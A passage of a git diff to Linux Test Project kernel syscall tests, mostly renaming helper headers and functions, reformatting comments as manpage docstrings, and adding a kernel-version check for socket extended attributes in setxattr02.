b/ltp/testcases/kernel/syscalls/recvfrom/recvfrom01.c @@ -53,7 +53,7 @@ #include <netinet/in.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "recvfrom01"; int testno; diff --git a/ltp/testcases/kernel/syscalls/removexattr/removexattr01.c b/ltp/testcases/kernel/syscalls/removexattr/removexattr01.c index ddbcba69..f861b67f 100644 --- a/ltp/testcases/kernel/syscalls/removexattr/removexattr01.c +++ b/ltp/testcases/kernel/syscalls/removexattr/removexattr01.c @@ -32,7 +32,7 @@ #endif #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "removexattr01"; diff --git a/ltp/testcases/kernel/syscalls/removexattr/removexattr02.c b/ltp/testcases/kernel/syscalls/removexattr/removexattr02.c index 399055ca..d610d572 100644 --- a/ltp/testcases/kernel/syscalls/removexattr/removexattr02.c +++ b/ltp/testcases/kernel/syscalls/removexattr/removexattr02.c @@ -37,7 +37,7 @@ #endif #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "removexattr02"; diff --git a/ltp/testcases/kernel/syscalls/rename/rename11.c b/ltp/testcases/kernel/syscalls/rename/rename11.c index 17cf04c8..8ff9f7d3 100644 --- a/ltp/testcases/kernel/syscalls/rename/rename11.c +++ b/ltp/testcases/kernel/syscalls/rename/rename11.c @@ -37,7 +37,7 @@ #include <sys/mount.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "rename11"; diff --git a/ltp/testcases/kernel/syscalls/renameat/renameat01.c b/ltp/testcases/kernel/syscalls/renameat/renameat01.c index c318a797..72e72b48 100644 --- a/ltp/testcases/kernel/syscalls/renameat/renameat01.c +++ b/ltp/testcases/kernel/syscalls/renameat/renameat01.c @@ -48,7 +48,7 @@ #include <sys/mount.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/fcntl.h" #define MNTPOINT "mntpoint" diff --git a/ltp/testcases/kernel/syscalls/renameat2/renameat201.c b/ltp/testcases/kernel/syscalls/renameat2/renameat201.c index 23ed5758..01e34d65 100644 --- a/ltp/testcases/kernel/syscalls/renameat2/renameat201.c +++ b/ltp/testcases/kernel/syscalls/renameat2/renameat201.c @@ -35,7 +35,7 @@ #define _GNU_SOURCE #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/fcntl.h" #include "renameat2.h" diff --git a/ltp/testcases/kernel/syscalls/renameat2/renameat202.c b/ltp/testcases/kernel/syscalls/renameat2/renameat202.c index 88db0476..a635206f 100644 --- a/ltp/testcases/kernel/syscalls/renameat2/renameat202.c +++ b/ltp/testcases/kernel/syscalls/renameat2/renameat202.c @@ -24,7 +24,7 @@ #define _GNU_SOURCE #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/fcntl.h" #include "renameat2.h" diff --git a/ltp/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask02.c b/ltp/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask02.c index 8c4724eb..85f59c4e 100644 --- a/ltp/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask02.c +++ b/ltp/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask02.c @@ -57,7 +57,7 @@ #include "test.h" #include "lapi/syscalls.h" -#include "ltp_signal.h" +#include "tso_signal.h" char *TCID = "rt_sigprocmask02"; int TST_TOTAL = 2; diff --git a/ltp/testcases/kernel/syscalls/rt_sigtimedwait/rt_sigtimedwait01.c b/ltp/testcases/kernel/syscalls/rt_sigtimedwait/rt_sigtimedwait01.c index 813f75b9..84234995 100644 --- a/ltp/testcases/kernel/syscalls/rt_sigtimedwait/rt_sigtimedwait01.c +++ b/ltp/testcases/kernel/syscalls/rt_sigtimedwait/rt_sigtimedwait01.c @@ -2,7 +2,7 @@ /* Copyright (c) Jiri Palecek<jpalecek@web.de>, 2009 */ #include "time64_variants.h" -#include "libsigwait.h" +#include "tse_sigwait.h" static int my_rt_sigtimedwait(const sigset_t * set, siginfo_t * info, void *timeout) @@ -21,24 +21,24 @@ static int my_rt_sigtimedwait_time64(const sigset_t * set, siginfo_t * info, #endif struct sigwait_test_desc tests[] = { - { test_empty_set, SIGUSR1}, - { test_unmasked_matching, SIGUSR1}, - { test_masked_matching, SIGUSR1}, - { test_unmasked_matching_noinfo, SIGUSR1}, - { test_masked_matching_noinfo, SIGUSR1}, - { test_bad_address, SIGUSR1}, - { test_bad_address2, SIGUSR1}, - { test_bad_address3, SIGUSR1}, - { test_timeout, 0}, + { tse_empty_set, SIGUSR1}, + { tse_unmasked_matching, SIGUSR1}, + { tse_masked_matching, SIGUSR1}, + { tse_unmasked_matching_noinfo, SIGUSR1}, + { tse_masked_matching_noinfo, SIGUSR1}, + { tse_bad_address, SIGUSR1}, + { tse_bad_address2, SIGUSR1}, + { tse_bad_address3, SIGUSR1}, + { tse_timeout, 0}, /* Special cases */ /* 1: sigwaitinfo does respond to ignored signal */ - { test_masked_matching, SIGUSR2}, + { tse_masked_matching, SIGUSR2}, /* 2: An ignored signal doesn't cause sigwaitinfo to return EINTR */ - { test_timeout, SIGUSR2}, + { tse_timeout, SIGUSR2}, /* 3: The handler is not called when the signal is waited for by sigwaitinfo */ - { test_masked_matching, SIGTERM}, + { tse_masked_matching, SIGTERM}, /* 4: Simultaneous realtime signals are delivered in the order of increasing signal number */ - { test_masked_matching_rt, -1}, + { tse_masked_matching_rt, -1}, }; static struct time64_variants variants[] = { @@ -62,7 +62,7 @@ static void run(unsigned int i) static void setup(void) { tst_res(TINFO, "Testing variant: %s", variants[tst_variant].desc); - sigwait_setup(); + tse_sigwait_setup(); } static struct tst_test test = { diff --git a/ltp/testcases/kernel/syscalls/sched_setparam/sched_setparam03.c b/ltp/testcases/kernel/syscalls/sched_setparam/sched_setparam03.c index a8effcad..a86ed85c 100644 --- a/ltp/testcases/kernel/syscalls/sched_setparam/sched_setparam03.c +++ b/ltp/testcases/kernel/syscalls/sched_setparam/sched_setparam03.c @@ -45,6 +45,7 @@ void setup(void) struct sched_param p = { .sched_priority = 1 }; tst_res(TINFO, "Testing %s variant", tv->desc); + tst_check_rt_group_sched_support(); if (tv->sched_setscheduler(0, SCHED_FIFO, &p)) tst_brk(TBROK | TERRNO, "sched_setscheduler(0, SCHED_FIFO, 1)"); diff --git a/ltp/testcases/kernel/syscalls/select/select01.c b/ltp/testcases/kernel/syscalls/select/select01.c index 58a4774d..7b597a69 100644 --- a/ltp/testcases/kernel/syscalls/select/select01.c +++ b/ltp/testcases/kernel/syscalls/select/select01.c @@ -7,7 +7,7 @@ */ /*\ - * :man2:`select` with no I/O and small timeout to file descriptor of a + * :manpage:`select(2)` with no I/O and small timeout to file descriptor of a * * - regular file * - system pipe diff --git a/ltp/testcases/kernel/syscalls/select/select02.c b/ltp/testcases/kernel/syscalls/select/select02.c index 541d9367..da8b2505 100644 --- a/ltp/testcases/kernel/syscalls/select/select02.c +++ b/ltp/testcases/kernel/syscalls/select/select02.c @@ -4,7 +4,7 @@ */ /*\ - * Check that :man2:`select` timeouts correctly. + * Check that :manpage:`select(2)` timeouts correctly. */ #include <unistd.h> diff --git a/ltp/testcases/kernel/syscalls/select/select03.c b/ltp/testcases/kernel/syscalls/select/select03.c index 6ad1d051..1154e457 100644 --- a/ltp/testcases/kernel/syscalls/select/select03.c +++ b/ltp/testcases/kernel/syscalls/select/select03.c @@ -4,7 +4,7 @@ */ /*\ - * :man2:`select` failure tests: + * :manpage:`select(2)` failure tests: * * - negative nfds (EINVAL) * - invalid readfds (EBADF) diff --git a/ltp/testcases/kernel/syscalls/select/select04.c b/ltp/testcases/kernel/syscalls/select/select04.c index 87791c92..ddff1528 100644 --- a/ltp/testcases/kernel/syscalls/select/select04.c +++ b/ltp/testcases/kernel/syscalls/select/select04.c @@ -5,7 +5,7 @@ */ /*\ - * Test to check if fd set bits are cleared by :man2:`select`. + * Test to check if fd set bits are cleared by :manpage:`select(2)`. * * [Algorithm] * - Check that writefds flag is cleared on full pipe diff --git a/ltp/testcases/kernel/syscalls/send/send01.c b/ltp/testcases/kernel/syscalls/send/send01.c index 41859ff6..b58b4189 100644 --- a/ltp/testcases/kernel/syscalls/send/send01.c +++ b/ltp/testcases/kernel/syscalls/send/send01.c @@ -42,7 +42,7 @@ #include <netinet/in.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "send01"; int testno; diff --git a/ltp/testcases/kernel/syscalls/sendmsg/sendmsg01.c b/ltp/testcases/kernel/syscalls/sendmsg/sendmsg01.c index 38cd7182..25c5dc1b 100644 --- a/ltp/testcases/kernel/syscalls/sendmsg/sendmsg01.c +++ b/ltp/testcases/kernel/syscalls/sendmsg/sendmsg01.c @@ -48,7 +48,7 @@ #include <netinet/in.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "sendmsg01"; int testno; diff --git a/ltp/testcases/kernel/syscalls/sendmsg/sendmsg02.c b/ltp/testcases/kernel/syscalls/sendmsg/sendmsg02.c index f72e9db2..99ba0d41 100644 --- a/ltp/testcases/kernel/syscalls/sendmsg/sendmsg02.c +++ b/ltp/testcases/kernel/syscalls/sendmsg/sendmsg02.c @@ -43,7 +43,7 @@ #include <limits.h> #include "config.h" #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/sem.h" char *TCID = "sendmsg02"; diff --git a/ltp/testcases/kernel/syscalls/sendto/sendto01.c b/ltp/testcases/kernel/syscalls/sendto/sendto01.c index b3b7b6ef..4a8145bf 100644 --- a/ltp/testcases/kernel/syscalls/sendto/sendto01.c +++ b/ltp/testcases/kernel/syscalls/sendto/sendto01.c @@ -41,7 +41,7 @@ #include <netinet/in.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "sendto01"; int testno; diff --git a/ltp/testcases/kernel/syscalls/set_mempolicy/set_mempolicy.h b/ltp/testcases/kernel/syscalls/set_mempolicy/set_mempolicy.h index da6419e1..d0d9f858 100644 --- a/ltp/testcases/kernel/syscalls/set_mempolicy/set_mempolicy.h +++ b/ltp/testcases/kernel/syscalls/set_mempolicy/set_mempolicy.h @@ -7,15 +7,15 @@ #ifndef SET_MEMPOLICY_H__ #define SET_MEMPOLICY_H__ -static inline void alloc_fault_count(struct tst_nodemap *nodes, +static inline void alloc_fault_count(struct tse_nodemap *nodes, const char *file, size_t size) { void *ptr; - ptr = tst_numa_map(file, size); - tst_numa_fault(ptr, size); - tst_nodemap_count_pages(nodes, ptr, size); - tst_numa_unmap(ptr, size); + ptr = tse_numa_map(file, size); + tse_numa_fault(ptr, size); + tse_nodemap_count_pages(nodes, ptr, size); + tse_numa_unmap(ptr, size); } #endif /* SET_MEMPOLICY_H__ */ diff --git a/ltp/testcases/kernel/syscalls/set_mempolicy/set_mempolicy01.c b/ltp/testcases/kernel/syscalls/set_mempolicy/set_mempolicy01.c index 39e7156d..a85a5633 100644 --- a/ltp/testcases/kernel/syscalls/set_mempolicy/set_mempolicy01.c +++ b/ltp/testcases/kernel/syscalls/set_mempolicy/set_mempolicy01.c @@ -17,14 +17,14 @@ # include <numaif.h> #endif #include "tst_test.h" -#include "tst_numa.h" +#include "tse_numa.h" #ifdef HAVE_NUMA_V2 #include "set_mempolicy.h" static size_t page_size; -static struct tst_nodemap *nodes; +static struct tse_nodemap *nodes; #define PAGES_ALLOCATED 16u @@ -32,7 +32,7 @@ static void setup(void) { page_size = getpagesize(); - nodes = tst_get_nodemap(TST_NUMA_MEM, 2 * PAGES_ALLOCATED * page_size / 1024); + nodes = tse_get_nodemap(TST_NUMA_MEM, 2 * PAGES_ALLOCATED * page_size / 1024); if (nodes->cnt <= 1) tst_brk(TCONF, "Test requires at least two NUMA memory nodes"); @@ -48,7 +48,7 @@ static void setup(void) static void cleanup(void) { - tst_nodemap_free(nodes); + tse_nodemap_free(nodes); } static void verify_mempolicy(unsigned int node, int mode) @@ -63,12 +63,12 @@ static void verify_mempolicy(unsigned int node, int mode) if (TST_RET) { tst_res(TFAIL | TTERRNO, "set_mempolicy(%s) node %u", - tst_mempolicy_mode_name(mode), node); + tse_mempolicy_mode_name(mode), node); return; } tst_res(TPASS, "set_mempolicy(%s) node %u", - tst_mempolicy_mode_name(mode), node); + tse_mempolicy_mode_name(mode), node); numa_free_nodemask(bm); @@ -79,9 +79,9 @@ static void verify_mempolicy(unsigned int node, int mode) tst_reap_children(); } - tst_nodemap_reset_counters(nodes); + tse_nodemap_reset_counters(nodes); alloc_fault_count(nodes, NULL, PAGES_ALLOCATED * page_size); - tst_nodemap_print_counters(nodes); + tse_nodemap_print_counters(nodes); for (i = 0; i < nodes->cnt; i++) { if (nodes->map[i] == node) { diff --git a/ltp/testcases/kernel/syscalls/set_mempolicy/set_mempolicy02.c b/ltp/testcases/kernel/syscalls/set_mempolicy/set_mempolicy02.c index 3db9c200..94d8aa33 100644 --- a/ltp/testcases/kernel/syscalls/set_mempolicy/set_mempolicy02.c +++ b/ltp/testcases/kernel/syscalls/set_mempolicy/set_mempolicy02.c @@ -18,7 +18,7 @@ # include <numaif.h> #endif #include "tst_test.h" -#include "tst_numa.h" +#include "tse_numa.h" #ifdef HAVE_NUMA_V2 @@ -27,20 +27,20 @@ #define ALLOC_ON_NODE 8 static size_t page_size; -static struct tst_nodemap *nodes; +static struct tse_nodemap *nodes; static void setup(void) { page_size = getpagesize(); - nodes = tst_get_nodemap(TST_NUMA_MEM, 2 * ALLOC_ON_NODE * page_size / 1024); + nodes = tse_get_nodemap(TST_NUMA_MEM, 2 * ALLOC_ON_NODE * page_size / 1024); if (nodes->cnt <= 1) tst_brk(TCONF, "Test requires at least two NUMA memory nodes"); } static void cleanup(void) { - tst_nodemap_free(nodes); + tse_nodemap_free(nodes); } static void alloc_and_check(size_t size, unsigned int *exp_alloc) @@ -53,7 +53,7 @@ static void alloc_and_check(size_t size, unsigned int *exp_alloc) tst_reap_children(); } - tst_nodemap_reset_counters(nodes); + tse_nodemap_reset_counters(nodes); alloc_fault_count(nodes, NULL, size * page_size); for (i = 0; i < nodes->cnt; i++) { diff --git a/ltp/testcases/kernel/syscalls/set_mempolicy/set_mempolicy03.c b/ltp/testcases/kernel/syscalls/set_mempolicy/set_mempolicy03.c index 5cfcda6d..bc5e0321 100644 --- a/ltp/testcases/kernel/syscalls/set_mempolicy/set_mempolicy03.c +++ b/ltp/testcases/kernel/syscalls/set_mempolicy/set_mempolicy03.c @@ -15,7 +15,7 @@ # include <numa.h> #endif #include "tst_test.h" -#include "tst_numa.h" +#include "tse_numa.h" #define MNTPOINT "mntpoint" #define PAGES_ALLOCATED 16u @@ -25,20 +25,20 @@ #include "set_mempolicy.h" static size_t page_size; -static struct tst_nodemap *nodes; +static struct tse_nodemap *nodes; static void setup(void) { page_size = getpagesize(); - nodes = tst_get_nodemap(TST_NUMA_MEM, 2 * PAGES_ALLOCATED * page_size / 1024); + nodes = tse_get_nodemap(TST_NUMA_MEM, 2 * PAGES_ALLOCATED * page_size / 1024); if (nodes->cnt <= 1) tst_brk(TCONF, "Test requires at least two NUMA memory nodes"); } static void cleanup(void) { - tst_nodemap_free(nodes); + tse_nodemap_free(nodes); } static void verify_mempolicy(unsigned int node, int mode) @@ -53,16 +53,16 @@ static void verify_mempolicy(unsigned int node, int mode) if (TST_RET) { tst_res(TFAIL | TTERRNO, "set_mempolicy(%s) node %u", - tst_mempolicy_mode_name(mode), node); + tse_mempolicy_mode_name(mode), node); return; } tst_res(TPASS, "set_mempolicy(%s) node %u", - tst_mempolicy_mode_name(mode), node); + tse_mempolicy_mode_name(mode), node); numa_free_nodemask(bm); - tst_nodemap_reset_counters(nodes); + tse_nodemap_reset_counters(nodes); alloc_fault_count(nodes, MNTPOINT "/numa-test-file", PAGES_ALLOCATED * page_size); for (i = 0; i < nodes->cnt; i++) { diff --git a/ltp/testcases/kernel/syscalls/set_mempolicy/set_mempolicy04.c b/ltp/testcases/kernel/syscalls/set_mempolicy/set_mempolicy04.c index 2a1d2e1b..672232c8 100644 --- a/ltp/testcases/kernel/syscalls/set_mempolicy/set_mempolicy04.c +++ b/ltp/testcases/kernel/syscalls/set_mempolicy/set_mempolicy04.c @@ -26,7 +26,7 @@ # include <numaif.h> #endif #include "tst_test.h" -#include "tst_numa.h" +#include "tse_numa.h" #define MNTPOINT "mntpoint" #define FILES 10 @@ -36,7 +36,7 @@ #include "set_mempolicy.h" static size_t page_size; -static struct tst_nodemap *nodes; +static struct tse_nodemap *nodes; static void setup(void) { @@ -44,14 +44,14 @@ static void setup(void) page_size = getpagesize(); - nodes = tst_get_nodemap(TST_NUMA_MEM, node_min_pages * page_size / 1024); + nodes = tse_get_nodemap(TST_NUMA_MEM, node_min_pages * page_size / 1024); if (nodes->cnt <= 1) tst_brk(TCONF, "Test requires at least two NUMA memory nodes"); } static void cleanup(void) { - tst_nodemap_free(nodes); + tse_nodemap_free(nodes); } static void alloc_and_check(void) @@ -61,7 +61,7 @@ static void alloc_and_check(void) unsigned int total_pages = 0; unsigned int sum_pages = 0; - tst_nodemap_reset_counters(nodes); + tse_nodemap_reset_counters(nodes); /* * The inner loop loops node->cnt times to ensure the sum could diff --git a/ltp/testcases/kernel/syscalls/setfsuid/setfsuid04.c b/ltp/testcases/kernel/syscalls/setfsuid/setfsuid04.c index e1525a73..b8868373 100644 --- a/ltp/testcases/kernel/syscalls/setfsuid/setfsuid04.c +++ b/ltp/testcases/kernel/syscalls/setfsuid/setfsuid04.c @@ -38,7 +38,7 @@ #include <unistd.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "compat_16.h" TCID_DEFINE(setfsuid04); diff --git a/ltp/testcases/kernel/syscalls/setrlimit/setrlimit01.c b/ltp/testcases/kernel/syscalls/setrlimit/setrlimit01.c index d0015353..97572c2b 100644 --- a/ltp/testcases/kernel/syscalls/setrlimit/setrlimit01.c +++ b/ltp/testcases/kernel/syscalls/setrlimit/setrlimit01.c @@ -37,7 +37,7 @@ #include <stdlib.h> #include <unistd.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "setrlimit01"; int TST_TOTAL = 1; diff --git a/ltp/testcases/kernel/syscalls/setrlimit/setrlimit02.c b/ltp/testcases/kernel/syscalls/setrlimit/setrlimit02.c index 260f1e00..92600da4 100644 --- a/ltp/testcases/kernel/syscalls/setrlimit/setrlimit02.c +++ b/ltp/testcases/kernel/syscalls/setrlimit/setrlimit02.c @@ -4,9 +4,11 @@ * Ported to LTP: Wayne Boyer * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz> */ -/* - * Testcase to test the different errnos set by setrlimit(2) system call. + +/*\ + * Testcase to test the different errnos set by :manpage:`setrlimit(2)` system call. */ + #include <pwd.h> #include <errno.h> #include "tst_test.h" diff --git a/ltp/testcases/kernel/syscalls/setrlimit/setrlimit03.c b/ltp/testcases/kernel/syscalls/setrlimit/setrlimit03.c index 7525b877..0e1f83a1 100644 --- a/ltp/testcases/kernel/syscalls/setrlimit/setrlimit03.c +++ b/ltp/testcases/kernel/syscalls/setrlimit/setrlimit03.c @@ -4,11 +4,12 @@ * Copyright (c) 2017 Xiao Yang <yangx.jy@cn.fujitsu.com> */ -/* - * DESCRIPTION - * 1) Test for EPERM when the super-user tries to increase RLIMIT_NOFILE - * beyond the system limit. - * 2) Test for EINVAL when rlim->rlim_cur is greater than rlim->rlim_max. +/*\ + * Test :manpage:`setrlimit(2)` errnos: + * + * - EPERM when the super-user tries to increase RLIMIT_NOFILE beyond the + * system limit. + * - EINVAL when rlim->rlim_cur is greater than rlim->rlim_max. */ #include <errno.h> diff --git a/ltp/testcases/kernel/syscalls/setrlimit/setrlimit04.c b/ltp/testcases/kernel/syscalls/setrlimit/setrlimit04.c index 5648f510..f201f593 100644 --- a/ltp/testcases/kernel/syscalls/setrlimit/setrlimit04.c +++ b/ltp/testcases/kernel/syscalls/setrlimit/setrlimit04.c @@ -1,16 +1,18 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (C) 2017 Red Hat, Inc. All rights reserved. - * + */ + +/*\ * Attempt to run a trivial binary with stack < 1MB. * - * Early patches for stack guard gap caused that gap size was - * contributing to stack limit. This caused failures - * for new processes (E2BIG) when ulimit was set to anything - * lower than size of gap. commit 1be7107fbe18 "mm: larger - * stack guard gap, between vmas" sets default gap size to 1M - * (for systems with 4k pages), so let's set stack limit to 512kB - * and confirm we can still run some trivial binary. + * Early patches for stack guard gap caused that gap size was contributing to + * stack limit. This caused failures for new processes (E2BIG) when ulimit was + * set to anything lower than size of gap. + * + * Kernel commit 1be7107fbe18 ("mm: largerstack guard gap, between vmas") + * from v4.12 sets default gap size to 1M (for systems with 4k pages), so let's + * set stack limit to 512kB and confirm we can still run some trivial binary. */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/syscalls/setrlimit/setrlimit05.c b/ltp/testcases/kernel/syscalls/setrlimit/setrlimit05.c index 906396f0..831ccfc2 100644 --- a/ltp/testcases/kernel/syscalls/setrlimit/setrlimit05.c +++ b/ltp/testcases/kernel/syscalls/setrlimit/setrlimit05.c @@ -4,8 +4,9 @@ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com> */ -/* - * Test for EFAULT when rlim points outside the accessible address space. +/*\ + * Test :manpage:`setrlimit(2)` for EFAULT when rlim points outside the accessible + * address space. */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/syscalls/setrlimit/setrlimit06.c b/ltp/testcases/kernel/syscalls/setrlimit/setrlimit06.c index e8e37818..996b2db5 100644 --- a/ltp/testcases/kernel/syscalls/setrlimit/setrlimit06.c +++ b/ltp/testcases/kernel/syscalls/setrlimit/setrlimit06.c @@ -12,7 +12,7 @@ * - Process got SIGXCPU after reaching soft limit of CPU time * - Process got SIGKILL after reaching hard limit of CPU time * - * Test is also a regression test for kernel bug: + * Test is also a regression test for kernel bug from v4.17: * c3bca5d450b62 ("posix-cpu-timers: Ensure set_process_cpu_timer is always evaluated") */ diff --git a/ltp/testcases/kernel/syscalls/setxattr/setxattr02.c b/ltp/testcases/kernel/syscalls/setxattr/setxattr02.c index 9f5f998d..994ab655 100644 --- a/ltp/testcases/kernel/syscalls/setxattr/setxattr02.c +++ b/ltp/testcases/kernel/syscalls/setxattr/setxattr02.c @@ -15,7 +15,8 @@ * - EPERM - set attribute to a FIFO * - EPERM - set attribute to a char special file * - EPERM - set attribute to a block special file - * - EPERM - set attribute to a UNIX domain socket + * - EPERM/SUCCEED - set attribute to a UNIX domain socket (dc0876b9846d + * "xattr: support extended attributes on sockets") */ #include "config.h" @@ -49,6 +50,8 @@ #define BLK "setxattr02blk" #define SOCK "setxattr02sock" +static bool socket_xattr_supported; + struct test_case { char *fname; char *key; @@ -57,7 +60,9 @@ struct test_case { int flags; int exp_err; int needskeyset; + int check_kver; }; + static struct test_case tc[] = { { /* case 00, set attr to reg */ .fname = FILENAME, @@ -65,7 +70,6 @@ static struct test_case tc[] = { .value = XATTR_TEST_VALUE, .size = XATTR_TEST_VALUE_SIZE, .flags = XATTR_CREATE, - .exp_err = 0, }, { /* case 01, set attr to dir */ .fname = DIRNAME, @@ -73,7 +77,6 @@ static struct test_case tc[] = { .value = XATTR_TEST_VALUE, .size = XATTR_TEST_VALUE_SIZE, .flags = XATTR_CREATE, - .exp_err = 0, }, { /* case 02, set attr to symlink */ .fname = SYMLINK, @@ -115,17 +118,23 @@ static struct test_case tc[] = { .size = XATTR_TEST_VALUE_SIZE, .flags = XATTR_CREATE, .exp_err = EPERM, + .check_kver = 1, }, }; static void verify_setxattr(unsigned int i) { + int exp_err = tc[i].exp_err; + /* some tests might require existing keys for each iteration */ if (tc[i].needskeyset) { SAFE_SETXATTR(tc[i].fname, tc[i].key, tc[i].value, tc[i].size, XATTR_CREATE); } + if (tc[i].check_kver && socket_xattr_supported) + exp_err = 0; + TEST(setxattr(tc[i].fname, tc[i].key, tc[i].value, tc[i].size, tc[i].flags)); @@ -134,7 +143,7 @@ static void verify_setxattr(unsigned int i) /* success */ - if (!tc[i].exp_err) { + if (!exp_err) { if (TST_RET) { tst_res(TFAIL | TTERRNO, "setxattr(2) on %s failed with %li", @@ -158,11 +167,11 @@ static void verify_setxattr(unsigned int i) /* fail */ - if (tc[i].exp_err != TST_ERR) { + if (exp_err != TST_ERR) { tst_res(TFAIL | TTERRNO, "setxattr(2) on %s should have failed with %s", tc[i].fname + OFFSET, - tst_strerrno(tc[i].exp_err)); + tst_strerrno(exp_err)); return; } @@ -185,6 +194,8 @@ static void setup(void) SAFE_MKNOD(CHR, S_IFCHR | 0777, dev); SAFE_MKNOD(BLK, S_IFBLK | 0777, 0); SAFE_MKNOD(SOCK, S_IFSOCK | 0777, 0); + + socket_xattr_supported = tst_kvercmp(7, 1, 0) >= 0; } static struct tst_test test = { diff --git a/ltp/testcases/kernel/syscalls/signalfd4/signalfd4_01.c b/ltp/testcases/kernel/syscalls/signalfd4/signalfd4_01.c index 76f3be27..56221511 100644 --- a/ltp/testcases/kernel/syscalls/signalfd4/signalfd4_01.c +++ b/ltp/testcases/kernel/syscalls/signalfd4/signalfd4_01.c @@ -63,7 +63,7 @@ #include "test.h" #include "lapi/fcntl.h" #include "lapi/syscalls.h" -#include "ltp_signal.h" +#include "tso_signal.h" #define SFD_CLOEXEC O_CLOEXEC diff --git a/ltp/testcases/kernel/syscalls/signalfd4/signalfd4_02.c b/ltp/testcases/kernel/syscalls/signalfd4/signalfd4_02.c index 18f86b4a..fd31eff8 100644 --- a/ltp/testcases/kernel/syscalls/signalfd4/signalfd4_02.c +++ b/ltp/testcases/kernel/syscalls/signalfd4/signalfd4_02.c @@ -59,7 +59,7 @@ #include "test.h" #include "lapi/syscalls.h" -#include "ltp_signal.h" +#include "tso_signal.h" #define SFD_NONBLOCK O_NONBLOCK diff --git a/ltp/testcases/kernel/syscalls/sigpending/sigpending02.c b/ltp/testcases/kernel/syscalls/sigpending/sigpending02.c index d901540c..1ab71e8e 100644 --- a/ltp/testcases/kernel/syscalls/sigpending/sigpending02.c +++ b/ltp/testcases/kernel/syscalls/sigpending/sigpending02.c @@ -15,7 +15,7 @@ #include "config.h" #include "tst_test.h" -#include "ltp_signal.h" +#include "tso_signal.h" #include "lapi/syscalls.h" static void sigpending_info(void) diff --git a/ltp/testcases/kernel/syscalls/sigrelse/sigrelse01.c b/ltp/testcases/kernel/syscalls/sigrelse/sigrelse01.c index 23c67582..dba39cfe 100644 --- a/ltp/testcases/kernel/syscalls/sigrelse/sigrelse01.c +++ b/ltp/testcases/kernel/syscalls/sigrelse/sigrelse01.c @@ -108,7 +108,7 @@ #include <time.h> #include <unistd.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #ifdef __linux__ /* glibc2.2 definition needs -D_XOPEN_SOURCE, which breaks other things. */ diff --git a/ltp/testcases/kernel/syscalls/sigtimedwait/sigtimedwait01.c b/ltp/testcases/kernel/syscalls/sigtimedwait/sigtimedwait01.c index fa36c455..e1eb8c26 100644 --- a/ltp/testcases/kernel/syscalls/sigtimedwait/sigtimedwait01.c +++ b/ltp/testcases/kernel/syscalls/sigtimedwait/sigtimedwait01.c @@ -1,7 +1,7 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* Copyright (c) Jiri Palecek<jpalecek@web.de>, 2009 */ -#include "libsigwait.h" +#include "tse_sigwait.h" static int my_sigtimedwait(const sigset_t * set, siginfo_t * info, void *timeout) @@ -10,15 +10,15 @@ static int my_sigtimedwait(const sigset_t * set, siginfo_t * info, } struct sigwait_test_desc tests[] = { - { test_empty_set, SIGUSR1}, - { test_unmasked_matching, SIGUSR1}, - { test_masked_matching, SIGUSR1}, - { test_unmasked_matching_noinfo, SIGUSR1}, - { test_masked_matching_noinfo, SIGUSR1}, - { test_bad_address, SIGUSR1}, - { test_bad_address2, SIGUSR1}, - { test_bad_address3, SIGUSR1}, - { test_timeout, 0}, + { tse_empty_set, SIGUSR1}, + { tse_unmasked_matching, SIGUSR1}, + { tse_masked_matching, SIGUSR1}, + { tse_unmasked_matching_noinfo, SIGUSR1}, + { tse_masked_matching_noinfo, SIGUSR1}, + { tse_bad_address, SIGUSR1}, + { tse_bad_address2, SIGUSR1}, + { tse_bad_address3, SIGUSR1}, + { tse_timeout, 0}, }; static void run(unsigned int i) @@ -31,6 +31,6 @@ static void run(unsigned int i) static struct tst_test test = { .test= run, .tcnt = ARRAY_SIZE(tests), - .setup = sigwait_setup, + .setup = tse_sigwait_setup, .forks_child = 1, }; diff --git a/ltp/testcases/kernel/syscalls/sigwait/sigwait01.c b/ltp/testcases/kernel/syscalls/sigwait/sigwait01.c index 92544c14..189d5dfd 100644 --- a/ltp/testcases/kernel/syscalls/sigwait/sigwait01.c +++ b/ltp/testcases/kernel/syscalls/sigwait/sigwait01.c @@ -1,7 +1,7 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* Copyright (c) Jiri Palecek<jpalecek@web.de>, 2009 */ -#include "libsigwait.h" +#include "tse_sigwait.h" static int my_sigwait(const sigset_t * set, siginfo_t * info LTP_ATTRIBUTE_UNUSED, @@ -17,8 +17,8 @@ static int my_sigwait(const sigset_t * set, } struct sigwait_test_desc tests[] = { - { test_unmasked_matching_noinfo, SIGUSR1}, - { test_masked_matching_noinfo, SIGUSR1}, + { tse_unmasked_matching_noinfo, SIGUSR1}, + { tse_masked_matching_noinfo, SIGUSR1}, }; static void run(unsigned int i) @@ -31,6 +31,6 @@ static void run(unsigned int i) static struct tst_test test = { .test= run, .tcnt = ARRAY_SIZE(tests), - .setup = sigwait_setup, + .setup = tse_sigwait_setup, .forks_child = 1, }; diff --git 